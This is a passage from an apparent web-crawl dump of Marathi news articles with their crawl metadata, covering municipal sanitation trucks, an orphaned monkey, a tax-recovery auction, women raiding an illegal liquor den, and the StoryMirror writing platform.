जनजागृती करता यावी यासाठी संगीत एक माध्यम म्हणून निवडलेले आहे. त्यानुसार फुलंब्री नगरपंचायतने त्यांच्याकडील कचरा गाड्यांना 'म्युझिक सिस्टिम' लावले असून या कचरा गाड्या आता जनजागृतीचे माध्यम बनल्या आहेत. या कचरा गाड्या शहरात निघत असताना त्यात सुरू असलेली स्वच्छतेचा संदेश देणारी गीते नागरिकांना आकर्षित करत आहेत. यातून नागरिकांत स्वच्छतेबाबत जाणीव निर्माण करण्याचा प्रयत्न केला जात आहे. विशेष म्हणजे कचरा गाडी शहरात फिरत असताना नागरिक थांबून उत्सुकतेने हा प्रकार बघत असून नगरपंचायतच्या या प्रयोगाचे कौतुकही करीत आहे. म्हणूनच नगरपंचायतच्या शहरातील कचरा गोळा करणाऱ्या या घंटागाड्या स्वच्छतादूताचे काम करत असल्याचे बोलले जात आहे.\nआपल्या घरात निघणारा कचरा ओला कचरा वेगळा डस्टबिनमध्ये जमा करून रोज येणाऱ्या घंटा गाडीतच टाकावा. भविष्यात ओल्या कचऱ्याच्या माध्यमातून नगरपंचायत कंपोस्ट खत निर्मिती करण्याच्या प्रकल्प उभारणार आहे. तसेच नागरिकांनी शहरातील नाल्यात व सार्वजनिक ठिकाणी कचरा टाकू नये. - योगेश पाटील, मुख्याधिकारी फुलंब्री\nफुलंब्रीकरांनी रोजच्या आपल्या घरातील निघणारा कचरा येणाऱ्या घंटा गाडीतच टाकावा. तसेच बाजारपेठेतील दुकानदारांनी सकाळी दुकान उघडल्यानंतर दुकानातून निघणारा कचरा इतर ठिकाणी न फेकता डस्टबिन जमा करून घंटा गाडीतच टाकून नगरपंचायतीला सहकार्य करा. - सुहास शिरसाठ, नगराध्यक्ष फुलंब्री\nरोजच्या रोज घरात निघणारा कचरा घंटागाडी टाकल्याने फुलंब्री शहर हळूहळू स्वच्छ होतांना दिसून येत आहे. तसेच नाल्यांची साफसफाई ही खोदून करण्यात आलेली आहे. बंद पडलेल्या नळ्या सुरळीत सुरु केल्याने हळूहळू बदल दिसून येऊ लागला आहे.- इंदुबाई मिसाळ, उपनगराध्यक्षा फुलंब्री\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00160.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/kahi-sukhad/orphan-monkey-infant-gets-motherly-love-vachhala-40700", "date_download": "2018-09-25T17:44:28Z", "digest": "sha1:B26JCSOH552PUEPRGS7T6ZDXHNK6RDVV", "length": 15499, "nlines": 183, "source_domain": "www.esakal.com", "title": "orphan monkey infant gets motherly love from vachhala अनाथ माकडाच्या पिलावर वच्छलाची माया | eSakal", "raw_content": "\nअनाथ माकडाच्या पिलावर वच्छलाची माया\nमंगळवार, 18 एप्रिल 2017\nही घटना आहे तालुक्‍यातील दिग्रस-दारव्हा रोडवरील बोरी (पुनर्वसन) या गावातील. रवी विलायतकर यांनी पिलाला त्यांची पत्नी वच्छला हिच्याकडे सोपवलं. त्यांनी त्याला जवळ घेऊन पाणी व दूध पाजून मायेची ऊब दिली...\nदिग्रस (यवतमाळ) : आध्यात्म जगायला शिकवतं. दया, भूतदया शिकवतं. प्राणिमात्रांवर प्रेम करायला शिकवतं. परंतु आज-काल या गोष्टी नजरेआड केल्या जात असल्याचे आपण पाहतो. दिग्रस तालुक्‍यातील बोरी (पुनर्वसन) येथील विलायतकर कुटुंबीयांनी मात्र भूतदयेचा नवा आदर्शच घालून दिला आहे. अनाथ माकडाच्या पिलाला जीवदान देऊन त्याच्या संगोपनाची जबाबदारीही त्यांनी उचलली आहे.\nउन्हामुळे रानावनात वन्यजीवांना अन्न व पाणी मिळत नाही. त्यामुळे वन्यप्राणी गावाच्या दिशेने येतात. असाच माकडांचा एक कळप गावात आला. त्यातील एक माकडीन आपल्या पिलासह भटकली. गावातील कुत्रे तिच्या मागे लागले. आपला व पिलाचा जीव वाचविण्यासाठी ती विजेच्या खांबावर चढली. जिवंत वीजतारांचा स्पर्श झाल्याने जमिनीवर पडून तिचा जीव गेला. तिचं पिलू वाचलं. ते आपल्या आईच्या मृतदेहाला बिलगून आकांत करीत होतं. सभोवती माकडांची टोळी होती. मात्र, कुत्रे त्यांचा पिच्छा सोडत नव्हती...\n(फोटो फीचर पाहण्यासाठी येथे क्लिक करा)\nही घटना तेथून जाणाऱ्या रवींद्र विलायतकर यांच्या लक्षात आली. त्यांनी कुत्र्याला पिटाळून लावलं. चार दिवसांच्या त्या पिलाला आपल्या घरी आणलं. ही घटना आहे तालुक्‍यातील दिग्रस-दारव्हा रोडवरील बोरी (पुनर्वसन) या गावातील. रवी विलायतकर यांनी पिलाला त्यांची पत्नी वच्छला हिच्याकडे सोपवलं. त्यांनी त्याला जवळ घेऊन पाणी व दूध पाजून मायेची ऊब दिली. काही वेळाने पिलाचा आकांत थांबला. शांत होऊन ते वच्छलाबाईंच्या कुशीत विसावलं. विलायतकर दाम्पत्याने पिलाच्या देखभालीत कशीबशी रात्र जागून काढली. 'सकाळ' होताच त्यांच्या घराभोवती माकडांची टोळी जमली.\nत्यांनी अखेर माकडांना हाकलून त्या पिलाला वनविभागाच्या हवाली करण्याचा निर्णय घेतला. त्यांनी ते पिलू वनविभागाच्या हवाली केले. मात्र, ते तेथे राहायला तयार नव्हते. तरीसुद्धा ते पिलाला सोडून निघून आले. मात्र, पिलाचा आकांत पाहिला जात नव्हता. चार दिवसांचे पिलू जंगलात सोडता येत नव्हतं. त्यामुळे वनविभागाने त्या पिलाला विलायतकर कुटुंबीयांच्या स्वाधीन केलं. वच्छलाबाई व रवी विलायतकर यांनी त्या पिलाचा आनंदाने स्वीकार केला. पालनपोषणाची जबाबदारी स्वीकारली. त्यांची चिमुकली पिलासोबत खेळते. वच्छलाबाई त्याला मुलाप्रमाणे वागवतात.\nघरातील कामे करताना त्यांच्या अंगाखांद्यावर पिलू खेळते. त्याही पिलाला नजरेआड होऊ देत नाहीत. रोज मजुरी करणाऱ्या वच्छलाबाईंनी त्या पिलाच्या पालनपोषणासाठी रोज मजुरीला जाणं सोडलं. पिलाला पाणी, दूध पाजणं व खाऊ घालणं त्यांनाच करावे लागते. दुधाचा खर्चही स्वत:च करावा लागत आहे. मुलाप्रमाणेच त्या माकडाच्या पिलाचाही हट्ट पुरवितात. घरात त्याच्यासाठी पाळणा बांधला. त्यात त्याला झोपी घालतात. विलायतकर कुटुंबाने दाखविलेलं भूतदयेचं हे औदार्य माणुसपणाचं जिवंत उदाहरणच म्हणावं लागेल.\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00160.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/marathwada/41-lakh-tax-recovery-fugitive-businessman-43120", "date_download": "2018-09-25T17:23:54Z", "digest": "sha1:IUS22WPFAQPEEI3BIJFCCYX34JKBPYDB", "length": 14524, "nlines": 174, "source_domain": "www.esakal.com", "title": "41 lakh tax recovery by fugitive businessman जालन्याच्या फरारी व्यापाऱ्याकडून 41 लाख रुपये प्राप्तिकराची वसुली | eSakal", "raw_content": "\nजालन्याच्या फरारी व्यापाऱ्याकडून 41 लाख रुपये प्राप्तिकराची वसुली\nबुधवार, 3 मे 2017\n- स्थावर मालमत्ता जप्त करण्याची पहिली कारवाई\n- प्रामाणिक करदात्यांना मिळाला दिलासा\n- स्थावर मालमत्ता जप्त करण्याची पहिली कारवाई\n- प्रामाणिक करदात्यांना मिळाला दिलासा\nऔरंगाबाद - प्राप्तिकर विभागात दिवसेंदिवस मोठे बदल होताना दिसताहेत. नोटाबंदीपासून असंख्य तपासणी आणि कारवाईद्वारे कोट्यवधींचा काळा पैसा पांढरा करण्याचे श्रेय विभागाला जाते. याच दिशेने एक पाऊल पुढे टाकत जालन्यातील एका फरारी व्यापाऱ्याच्या स्थावर मालमत्ता लिलावातून प्राप्तिकर विभागाने 41 लाख रुपयांची मंगळवारी (ता. दोन) बंपर वसुली केली. या धडाडीच्या कारवाईमुळे करबुडव्यांमध्ये भीतीचा; तर प्रामाणिक करदात्यांमध्ये चांगला संदेश गेला.\nसूत्रांनी दिलेल्या माहितीनुसार - मागील वर्षापासून प्राप्तिकर विभागामध्ये डिजिटलायझेशनचा वापर करून आमूलाग्र बदल झालेले आहेत. प्राप्तिकर अधिकाऱ्यांना करबुडव्यांपर्यंत पोचणे सोयिस्कर झालेले आहे. त्यामुळे जास्तीत जास्त वसुलीवर भर देणे शक्‍य होत आहे. याच धर्तीवर जालन्यातील व्यापारी प्रकाश मोतीलाल कटारिया यांच्या स्थावर मालमत्तेवर प्राप्तिकर विभागाने गेल्या महिन्यात टाच आणली होती. कटारिया गेल्या चार ते पाच वर्षांपासून फरारी आहेत.\nत्यापूर्वीही त्यांना प्राप्तिकर विभागाने वारंवार नोटीस धाडल्या. मात्र, काहीही साध्य झाले नव्हते. अखेरीस मार्च 2017 मध्ये कटारियांचे जालन्यातील घर आणि दुकान विभागामार्फत जप्त करण्यात आले. नऊ कोटी रुपयांचा थकीत कर वसूल करण्याच्या दृष्टीने ताबडतोब लिलावाची प्रक्रियादेखील करण्यात आली. 2 एप्रिल 2017 ला लिलावाची प्रक्रिया पूर्ण करून त्यातून 41 लाख रुपयांचा थकीत प्राप्तिकर वसूल करण्यात अधिकाऱ्यांना यश आले. सदरील करदाता हा गेल्या पाच वर्षांपासून फरारी असल्याचे कळते. स्थावर मालमत्ता जप्त करून लिलावाच्या माध्यमातून कर वसूल करण्याची औरंगाबाद विभागातील ही पहिलीच वेळ आहे. त्यामुळे या धाडसी कारवाईने यापुढे करबुडव्यांचे धाबे दणाणले आहेत. दुसरीकडे प्रामाणिक करदात्यांमध्ये प्राप्तिकर विभागाबद्दल चांगली प्रतिमा निर्माण होत आहे. ही कारवाई प्रधान आयकर आयुक्‍त शिवदयाल श्रीवास्तव आणि अपर आयुक्‍त संदीपकुमार सोळुंखे यांच्या मार्गदर्शनाखाली झाली. लिलावाची प्रक्रिया करवसुली अधिकारी अनिमेष नाशकर आणि उपायुक्‍त रवींद्र चव्हाण यांनी पार पाडल्याचे समजते.\nपुढेही कारवाई सुरूच राहील\nकरबुडवेगिरीवर आळा घालण्यासाठी वेगवेगळ्या उपाययोजना राबवून त्याची प्रभावी अंमलबजावणी केली जात आहे. यापुढेही करबुडव्यांची हयगय न करता गरजेप्रमाणे स्थावर मालमत्ता जप्त करून लिलावातून कर वसूल केला जाईल. मराठवाड्यातील ही पहिली कारवाई असली, तरीही शेवटची नाही, असा संदेश आयकर विभागाच्या वरिष्ठ अधिकाऱ्याने दिला.\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nऔषध व्यापार 'बंद' आंदोलनात साक्री तालुका केमिस्ट सहभागी\nनिजामपूर-जैताणे (धुळे) : साक्री तालुक्यातील निजामपूर, पिंपळनेर, दहीवेल, कासारे व म्हसदी येथे केमिस्ट असोसिएशनच्या तालुका पदाधिकाऱ्यांनी नुकत्याच औषध...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00160.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/paschim-maharashtra/liquor-center-destroy-ladies-138421", "date_download": "2018-09-25T17:40:57Z", "digest": "sha1:TRY42ZMVNOSGTDGDDFVVPSK7GQLKTD5S", "length": 15107, "nlines": 174, "source_domain": "www.esakal.com", "title": "liquor center destroy from ladies सातारा - धोंडेवाडीतील महिलांकडून दारुअड्डा उध्वस्त | eSakal", "raw_content": "\nसातारा - धोंडेवाडीतील महिलांकडून दारुअड्डा उध्वस्त\nशनिवार, 18 ऑगस्ट 2018\nमायणी (सातारा) : धोंडेवाडी (ता. खटाव) येथील महिलांनी दारू विक्रेत्यांविरुद्ध दंड थोपटले. संघटित होत रणरागिणींनी पोलिसांच्या सहकाऱ्याने गावातील दारूचा अड्डा उध्वस्त केला. त्याचबरोबर गावालगतच्या मिरज-भिगवण राज्यमार्गावरील धोंडेवाडी हद्दीतील दोन ढाबे व दातेवाडीतील दारु अड्डयावरही धाड टाकली. मात्र धाडीची आधीच चाहुल लागल्याने तेथे हाती काहीच लागले नाही. दारुविक्रेता निवृत्ती दादू घाडगे (वय 70) या वृद्धास पोलिसांनी ताब्यात घेतले.\nमायणी (सातारा) : धोंडेवाडी (ता. खटाव) येथील महिलांनी दारू विक्रेत्यांविरुद्ध दंड थोपटले. संघटित होत रणरागिणींनी पोलिसांच्या सहकाऱ्याने गावातील दारूचा अड्डा उध्वस्त केला. त्याचबरोबर गावालगतच्या मिरज-भिगवण राज्यमार्गावरील धोंडेवाडी हद्दीतील दोन ढाबे व दातेवाडीतील दारु अड्डयावरही धाड टाकली. मात्र धाडीची आधीच चाहुल लागल्याने तेथे हाती काहीच लागले नाही. दारुविक्रेता निवृत्ती दादू घाडगे (वय 70) या वृद्धास पोलिसांनी ताब्यात घेतले.\nयेथे दारुविक्रीचे प्रमाण वाढले असुन तरुण मुलेही व्यसनाधिन झाली आहेत. अनेकांचे संसार उध्वस्त झाले आहेत. त्यामुळे महिला वर्गात दारु विक्रेत्यांविरुद्ध संतापाची लाट निर्माण झाली आहे. दारुविक्री बंद करण्याची मागणी करुनही त्याकडे कोणीच लक्ष देत नसल्याने महिलांमध्ये संताप वाढत चालला होता. त्या रणरागिणींनी दारुविक्रीचे अड्डे उध्वस्त करण्याचा चंग बांधला. पोलिसांना बोलावुन घेतले. संगीता घाडगे, रंजना घाडगे, स्मिता शेळके आदी आघाडीच्या महिलांसह तरुणांचा गट पोलिसांसमवेत दारू अड्डयांकडे गेला. तेथे पोचताच दारुविक्रेत्या निवृत्ती घागडेंनी तेथुन पळ काढण्याचा प्रयत्न केला. मात्र पळुन जाता आले नाही. त्यांच्याकडे पोलिसांनी चौकशी केली तेव्हा दारुविक्रीचा परवाना नसल्याचे सांगुन दारुसाठ्याचा मालक सोमनाथ उर्फ बंडू एकनाथ घाडगे (रा. नागेवाडी ता. खानापुर जि. सांगली) यांचा असल्याचे सांगितले.\nदरम्यान, दारुविक्रेत्या घाडगे यांना काही समजण्याच्या आत पडक्या घरामागील भिंतीच्या आडोशाला ठेवलेली देशी दारुची खोकी महिलांनी घराबाहेर आणुन टाकली. तेथेच उपलब्ध असलेल्या काठ्यांनी दारूच्या बाटल्या फोडुन टाकल्या. घाडगे यांच्या घराशेजारी दारुच्या शेकडो रिकाम्या बाटल्यांचा खच पडलेलाही महिलांनी पाहिला. दारुच्या बाटल्या फोडल्यानंतर त्यांनी गावालगतच्या मिरज-भिगवण राज्यामार्गावरील ढाब्याकडे मोर्चा वळवला. तेथील दोन्ही ढाब्यावर बेकायदा देशी दारुची विक्री होत असल्याचे महिलांनी पोलिसांना सांगितले. मात्र तेथे टाकलेल्या धाडीत काहीही हाती लागले नाही. त्यानंतर गावाच्या पुर्वेकडील दातेवाडीतील दारु अड्ड्यावर ही धाड टाकण्यात आली.\nतेथेही महिलांना रिकाम्या हातांनी परतावे लागले. दरम्यान पोलीसांनी दारु विक्रेता निवृत्ती घाडगे यांस ताब्यात घेतले. मायणी पोलीस दूरक्षेत्राचे पोलीस कर्मचारी विकास जाधव, प्रकाश कोळी, नवनाथ शिरतोडे यांनी सपोनि संतोष गोसावी यांच्या मार्गदर्शनाखाली ती कारवाई केली.\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nऔषध व्यापार 'बंद' आंदोलनात साक्री तालुका केमिस्ट सहभागी\nनिजामपूर-जैताणे (धुळे) : साक्री तालुक्यातील निजामपूर, पिंपळनेर, दहीवेल, कासारे व म्हसदी येथे केमिस्ट असोसिएशनच्या तालुका पदाधिकाऱ्यांनी नुकत्याच औषध...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nकाँग्रेस पक्ष देशावरचे ओझे : पंतप्रधान\nनवी दिल्ली : ''काँग्रेस पक्ष देशात आघाडी करण्यास अपयशी ठरला आहे. त्यामुळेच ते भारताबाहेरुन पाठिंब्याकडे लक्ष देत आहेत. काँग्रेस पक्ष देशावरचे ओझे आहे...\nयुजेस चार्जेसचा निर्णय नागरिकांसाठी जाचक\nसावंतवाडी - येथील पालिकेच्या वतीने घेण्यात आलेल्या युजेस चार्जेसचा निर्णय नागरिकांसाठी जाचक ठरणार आहे. त्यामुळे या निर्णयाबाबत पुर्नविचार...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00160.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/719d8b25b8/creative-ikosistamaca-now-made-possible-the-launch-of-the-authors-board-storimirara", "date_download": "2018-09-25T17:57:35Z", "digest": "sha1:CHUPQKI5VGINXYQELX5T7JHFJ4JROWZ4", "length": 14227, "nlines": 86, "source_domain": "marathi.yourstory.com", "title": "आता बना क्रिएटिव्ह इकोसिस्टमचा भाग.. स्टोरीमिरर लाँच करतेय लेखकांची फळी..", "raw_content": "\nआता बना क्रिएटिव्ह इकोसिस्टमचा भाग.. स्टोरीमिरर लाँच करतेय लेखकांची फळी..\nभारतात कथा सांगण्याची परंपरा आहे. अगदी पुरातन मौखिक पौराणिक कथांपासून ते चित्रकथीतून सामाजिक जीवनाचा हिस्सा बनलेल्या या कथाकथनाची आधुनिक गणितं बदलतायत. एक ओरड नेहमी ऐकायला मिळत होती की नवी पिढी वाचत नाही आणि नवीन लेखक चांगले लिहित नाहीत. एका पाहणीनुसार हे खोटं ठरलंय. नवीन पिढी वाचतेय, खुप वाचतेय. अगदी जे मिळेल ते आणि त्याहूनही महत्त्वाचं म्हणजे ती लिहू लागली आहे. अश्या नव्या -जुन्या लेखकांची संख्या वाढत असताना हे लिखाण वाचकांपर्यंत पोहचण्याच्या प्रक्रियेत मात्र काहीही बदल झालेला नाही. तो अजूनही पारंपरिक पध्दतीनं चालवला जातोय. खासकरुन प्रादेशिक भाषांबाबत या परिस्थितीत काहीही बदल झालेला नाही. इंटरनेट आणि सोशल मीडियाच्या माध्यमातून व्यक्त होण्याची संधी मिळतेय. पण ती परिपूर्ण नाही. ही क्रिएटिव्ह इकोसिस्टममधली पोकळी भरुन काढण्याचं काम 'स्टोरीमिरर' सारखी कंपनी करतेय.\nस्टोरीमिरर देवेंद्र विश्वास जैसवाल यांच्या संकल्पनेतून साकारलेला अनोखा उपक्रम आहे. देवेंद्र जैसवाल हे व्यवसायानं बँकर. बँकर म्हणून त्याचं करीयर अगदी उत्तम सुरु होतं. क्रेडीट, डेबीट आणि बॅलेन्सशीट या तीन घटकांभोवती रोजचं जीवन जगताना त्यांनी आपला एक छंद जपला. तो म्हणजे वाचनाचा. सोशल मीडियावर एक्टिव असल्यानं एक गोष्ट त्यांच्या लक्षात आली की नवीन पिढी चांगली लिहितेय. नव्या कल्पना आणि नव्या कथांना उधाण आलंय. पण ते छापण्याची प्रक्रिया अजूनही पारंपारिक असल्यानं हे नवीन लेखक जगासमोर येत नाहीत. “या लोकांना एका व्यासपीठाची गरज आहे. त्यांच्या कल्पना भन्नाट आहेत. व्यक्त होणाची आणि कथा सांगण्याच्या पध्दतीत नाविन्य आहे. हेच मला भावलं आणि या लेखकांना एक हक्काचं व्यासपीठ देण्यासाठीच 'स्टोरीमिरर'ची सुरुवात झाली. व्यावसायिक दृष्टीकोन आहेच पण त्याचबरोबर नवीन साहित्य, किंबहुना तरुण साहित्य तयार करण्याचा अभिमान त्या व्यावसायिक दृष्टीकोनापेक्षा जास्त मोठा आहे.” देवेंद्र सांगत होते.\nस्टोरीमिरर कसं काम करते :\nदेवेंद्र सांगतात, “ आम्हाला तुमच्या विचारांची गती समजते. ते जपले गेले पाहिजेत म्हणूनच आम्ही ते शेअर करतो.” स्टोरीमिररचं काम अगदी सोप्या पध्दतीनं चालतं. “या भारतात आणि जगभरात कथांचं महाजाळ आहे. तिथं नजर टाकावी तिथं गोष्ट दिसते. तिचं स्वत:चं असं अस्तित्व असतं. आम्ही लेखकांच्या या गोष्टींना व्यासपीठ मिळवून देतो. तुम्हाला आपली गोष्ट ऑनलाईन सबमीट करायची आहे. स्टोरीमिररची संपादकीय टीम त्यावर काम करते. त्यानंतर गोष्ट पब्लीश केली जाते. पण प्रकाशक म्हणून आमचं काम इथं संपत नाही तर सुरु होतं. त्या कथेला जास्तीत जास्त लोकांपर्यंत पोचवण्यासाठी आम्ही काम करतो. सोशल मीडिया, बुक स्टॉल आणि इतर ज्या काही गोष्टी उपलब्ध आहेत त्याचा वापर करुन लेखकाची कथा जगभरात पोचवली जाते.” देवेंद्र सांगत होते.\nमागच्या आठवड्यात स्टोरीमिररनं पहिली कादंबरी प्रकाशित केली. लेखक बिधु दत्ता राओत याची व्हिल्स ऑफ विश. राओत बँकर आहेत. त्याची ही कादंबरी सस्पेंस थ्रिलर आहे. ज्याचं प्रकाशन प्रसिध्द अभिनेत्री टिस्का चोप्रा यांच्या हस्ते करण्यात आलं.\n“आम्ही लेखक लाँच करतोय फक्त पुस्तक नाही” देवेंद्र सांगतात, “सध्या लेखकांना हे व्यासपीठावर आणून जास्तीत जास्त साहित्य वेगवेगळ्या माध्यमातून लोकांपर्यंत पोचवण्याचं आमचं काम आहे. हे काम आम्ही सचोटीनं करतोय. या नव्या लेखकांना जास्तीत जास्त मानधन देण्याचा आमचा प्रयत्न आहे.”\nसध्या स्टोरीमिररनं त्यांच्या प्रकाशनाबरोबर अॅप आणि वेबसाईटच्या माध्यमातून ४०००० हजारांहून जास्त कथा, कविता आणि अन्य स्फुट लेखन प्रकाशित केल्या आहेत. हिंदी, इंग्रजी आणि ओडिया या तीन भाषांमध्ये ते उपलब्ध आहे. याद्वारे जगातलं सर्वात मोठं क्रिएटिव्ह इकोसिस्टम सुरु करण्याचा स्टोरीमिररचा प्रयत्न आहे. याद्वारे पुस्तकांव्यतिरिक्त इ बुक पब्लिशींगही हाती घेण्यात आलंय. ज्याला सर्वाधिक प्रतिसाद मिळत आहे. आत्तापर्यंत बारा नवीन लेखकांची पुस्तकं प्रकाशित करण्यासंदर्भात करार करण्यात आलेत. तर चाळीस अन्य लेखक हे करार करण्यासाठी तयार झालेत. यासर्वांना पुस्तक, इबुक आणि सोशल मीडिया अशा तिनही माध्यमातून जगभर पोचवण्याचा प्रयत्न स्टोरीमिररचा आहे. अगदी १५ वर्षांच्या छोट्या लेखकांपासून ते ७० वर्षांच्या जोधपूरी लेखकापर्यंत सर्वांना हे नवं व्यासपीठ आपलं वाटतंय. यातून प्रकाशक म्हणून व्यवसायालाही भरभराट आली आहे. हे नव्यानं सांगायला नको.\nयापुढे स्टोरीमिररचा विस्तार ३० भारतीय भाषांमध्ये करण्याचा प्रयत्न सुरु आहे. याद्वारे भारतातल्या प्रादेशिक भाषांमधून असेलेल्या लेखकांना इंग्रजी आणि जगभरातल्या इतर प्रमुख भाषांमध्ये अनुवादीत करण्याचा प्रयत्नही केला जाणार आहे. स्टोरीमिररनं नव्या जुन्या लेखकांसाठी क्रिएटिव्ह बझ तयार केला आहे. यामुळं किएटिव्ह सर्वांनी एकत्र या असं नवीन ब्रीद स्टोरीमिररनं दिलंय.\nयासारख्या आणखी नाविन्यपूर्ण कहाण्या 